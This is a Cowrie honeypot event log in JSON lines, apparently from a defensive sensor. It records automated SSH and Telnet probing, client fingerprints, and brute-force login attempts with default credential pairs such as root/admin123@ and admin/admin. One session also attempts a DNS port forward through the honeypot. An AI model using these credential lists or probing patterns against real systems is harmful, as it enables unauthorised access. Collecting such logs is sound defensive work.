{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:25:16.697831Z","src_ip":"103.69.96.120","session":"30197079f671","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":59620,"dst_ip":"159.203.135.109","dst_port":23,"session":"12e7e6695cf5","protocol":"telnet","message":"New connection: 174.138.46.234:59620 (159.203.135.109:23) [session: 12e7e6695cf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:25:23.331338Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":60324,"dst_ip":"159.203.135.109","dst_port":23,"session":"a159d47b4554","protocol":"telnet","message":"New connection: 174.138.46.234:60324 (159.203.135.109:23) [session: a159d47b4554]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:25:25.711461Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":60338,"dst_ip":"159.203.135.109","dst_port":23,"session":"e327a48a4a47","protocol":"telnet","message":"New connection: 174.138.46.234:60338 (159.203.135.109:23) [session: e327a48a4a47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:25:25.760703Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":60624,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3543bc1cfc2","protocol":"telnet","message":"New connection: 174.138.46.234:60624 (159.203.135.109:23) [session: b3543bc1cfc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:25:26.752476Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":60788,"dst_ip":"159.203.135.109","dst_port":23,"session":"131214e3caa3","protocol":"telnet","message":"New connection: 174.138.46.234:60788 (159.203.135.109:23) [session: 131214e3caa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:25:27.224923Z"}
{"eventid":"cowrie.session.closed","duration":7.155243635177612,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:25:30.486482Z","src_ip":"174.138.46.234","session":"12e7e6695cf5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.983249664306641,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:25:32.694606Z","src_ip":"174.138.46.234","session":"a159d47b4554","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.252.53.96","src_port":33282,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed8df558f900","protocol":"telnet","message":"New connection: 47.252.53.96:33282 (159.203.135.109:23) [session: ed8df558f900]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:25:35.843465Z"}
{"eventid":"cowrie.session.closed","duration":50.92276430130005,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:25:43.782648Z","src_ip":"174.138.46.234","session":"77a64cad466a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":37836,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6d8fa4c2a2c","protocol":"telnet","message":"New connection: 20.123.41.163:37836 (10.17.0.5:23) [session: b6d8fa4c2a2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:25:45.405406Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.248.83.33","src_port":55842,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b87e6b62afb","protocol":"ssh","message":"New connection: 14.248.83.33:55842 (159.203.135.109:22) [session: 2b87e6b62afb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:25:49.170836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:25:49.176435Z","src_ip":"14.248.83.33","session":"2b87e6b62afb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:25:49.423576Z","src_ip":"14.248.83.33","session":"2b87e6b62afb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"1111","message":"login attempt [user2/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:25:50.436428Z","src_ip":"14.248.83.33","session":"2b87e6b62afb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.253236770629883,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:25:51.658522Z","src_ip":"20.123.41.163","session":"b6d8fa4c2a2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:25:51.685088Z","src_ip":"14.248.83.33","session":"2b87e6b62afb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":40644,"dst_ip":"159.203.135.109","dst_port":23,"session":"293ea58b092d","protocol":"telnet","message":"New connection: 174.138.46.234:40644 (159.203.135.109:23) [session: 293ea58b092d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:25:56.583585Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":40666,"dst_ip":"159.203.135.109","dst_port":23,"session":"998bb14ca32c","protocol":"telnet","message":"New connection: 174.138.46.234:40666 (159.203.135.109:23) [session: 998bb14ca32c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:25:56.674137Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":40716,"dst_ip":"159.203.135.109","dst_port":23,"session":"d31cfb5317eb","protocol":"telnet","message":"New connection: 174.138.46.234:40716 (159.203.135.109:23) [session: d31cfb5317eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:25:56.868858Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":40814,"dst_ip":"159.203.135.109","dst_port":23,"session":"aea5a6119210","protocol":"telnet","message":"New connection: 174.138.46.234:40814 (159.203.135.109:23) [session: aea5a6119210]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:25:57.217564Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.39.158.30","src_port":48626,"dst_ip":"159.203.135.109","dst_port":22,"session":"b332a556f97c","protocol":"ssh","message":"New connection: 181.39.158.30:48626 (159.203.135.109:22) [session: b332a556f97c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:26:00.881958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:26:00.887037Z","src_ip":"181.39.158.30","session":"b332a556f97c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:26:01.004854Z","src_ip":"181.39.158.30","session":"b332a556f97c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123@","message":"login attempt [root/admin123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:26:01.501570Z","src_ip":"181.39.158.30","session":"b332a556f97c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.904886245727539,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:26:02.578907Z","src_ip":"174.138.46.234","session":"998bb14ca32c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:26:02.621623Z","src_ip":"181.39.158.30","session":"b332a556f97c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.927790403366089,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:26:02.796527Z","src_ip":"174.138.46.234","session":"d31cfb5317eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.090118885040283,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:26:03.307551Z","src_ip":"174.138.46.234","session":"aea5a6119210","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.070282936096191,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:26:03.653747Z","src_ip":"174.138.46.234","session":"293ea58b092d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96839141845703,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:26:06.811730Z","src_ip":"47.252.53.96","session":"ed8df558f900","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"217.182.190.44","src_port":34032,"dst_ip":"10.17.0.5","dst_port":23,"session":"14baafd41435","protocol":"telnet","message":"New connection: 217.182.190.44:34032 (10.17.0.5:23) [session: 14baafd41435]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:26:07.701802Z"}
{"eventid":"cowrie.session.closed","duration":47.1706600189209,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:26:14.395448Z","src_ip":"174.138.46.234","session":"131214e3caa3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":60950,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d8c017eb136","protocol":"ssh","message":"New connection: 87.251.64.176:60950 (10.17.0.5:22) [session: 7d8c017eb136]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:26:15.679854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:26:15.684960Z","src_ip":"87.251.64.176","session":"7d8c017eb136","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:26:15.781763Z","src_ip":"87.251.64.176","session":"7d8c017eb136","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:26:16.075603Z","src_ip":"87.251.64.176","session":"7d8c017eb136","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:26:16.176599Z","session":"7d8c017eb136","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:26:16.274790Z","src_ip":"87.251.64.176","session":"7d8c017eb136","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:26:16.374248Z","src_ip":"87.251.64.176","session":"7d8c017eb136","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.69.96.120","src_port":47858,"dst_ip":"159.203.135.109","dst_port":22,"session":"cbd05381ee55","protocol":"ssh","message":"New connection: 103.69.96.120:47858 (159.203.135.109:22) [session: cbd05381ee55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:26:16.843800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:26:16.847782Z","src_ip":"103.69.96.120","session":"cbd05381ee55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:26:17.096804Z","src_ip":"103.69.96.120","session":"cbd05381ee55","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:26:17.940624Z","src_ip":"91.109.114.213","session":"f4ab669d370d","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:26:17.991444Z","src_ip":"91.109.114.213","session":"f4ab669d370d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asdfg12345","message":"login attempt [root/Asdfg12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:26:18.130623Z","src_ip":"103.69.96.120","session":"cbd05381ee55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:26:19.384933Z","src_ip":"103.69.96.120","session":"cbd05381ee55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.12981581687927,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:26:21.890404Z","src_ip":"174.138.46.234","session":"e327a48a4a47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":55.313400745391846,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:26:22.065749Z","src_ip":"174.138.46.234","session":"b3543bc1cfc2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.746917486190796,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:26:42.448600Z","src_ip":"217.182.190.44","session":"14baafd41435","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":54512,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ac3f1e9e1b7","protocol":"telnet","message":"New connection: 174.138.46.234:54512 (159.203.135.109:23) [session: 3ac3f1e9e1b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:26:46.117549Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":54868,"dst_ip":"159.203.135.109","dst_port":23,"session":"8efd29834db9","protocol":"telnet","message":"New connection: 174.138.46.234:54868 (159.203.135.109:23) [session: 8efd29834db9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:26:47.319742Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":54880,"dst_ip":"159.203.135.109","dst_port":23,"session":"a088672b257f","protocol":"telnet","message":"New connection: 174.138.46.234:54880 (159.203.135.109:23) [session: a088672b257f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:26:47.344193Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":55028,"dst_ip":"159.203.135.109","dst_port":23,"session":"aae4e95d4fb4","protocol":"telnet","message":"New connection: 174.138.46.234:55028 (159.203.135.109:23) [session: aae4e95d4fb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:26:47.835932Z"}
{"eventid":"cowrie.session.closed","duration":5.839868068695068,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:26:51.957283Z","src_ip":"174.138.46.234","session":"3ac3f1e9e1b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.864046573638916,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:26:55.208032Z","src_ip":"174.138.46.234","session":"a088672b257f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.9040234088897705,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:26:55.739864Z","src_ip":"174.138.46.234","session":"aae4e95d4fb4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.39.158.30","src_port":65078,"dst_ip":"159.203.135.109","dst_port":22,"session":"5925a868359a","protocol":"ssh","message":"New connection: 181.39.158.30:65078 (159.203.135.109:22) [session: 5925a868359a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:26:56.738395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:26:56.743466Z","src_ip":"181.39.158.30","session":"5925a868359a","protocol":"ssh"}
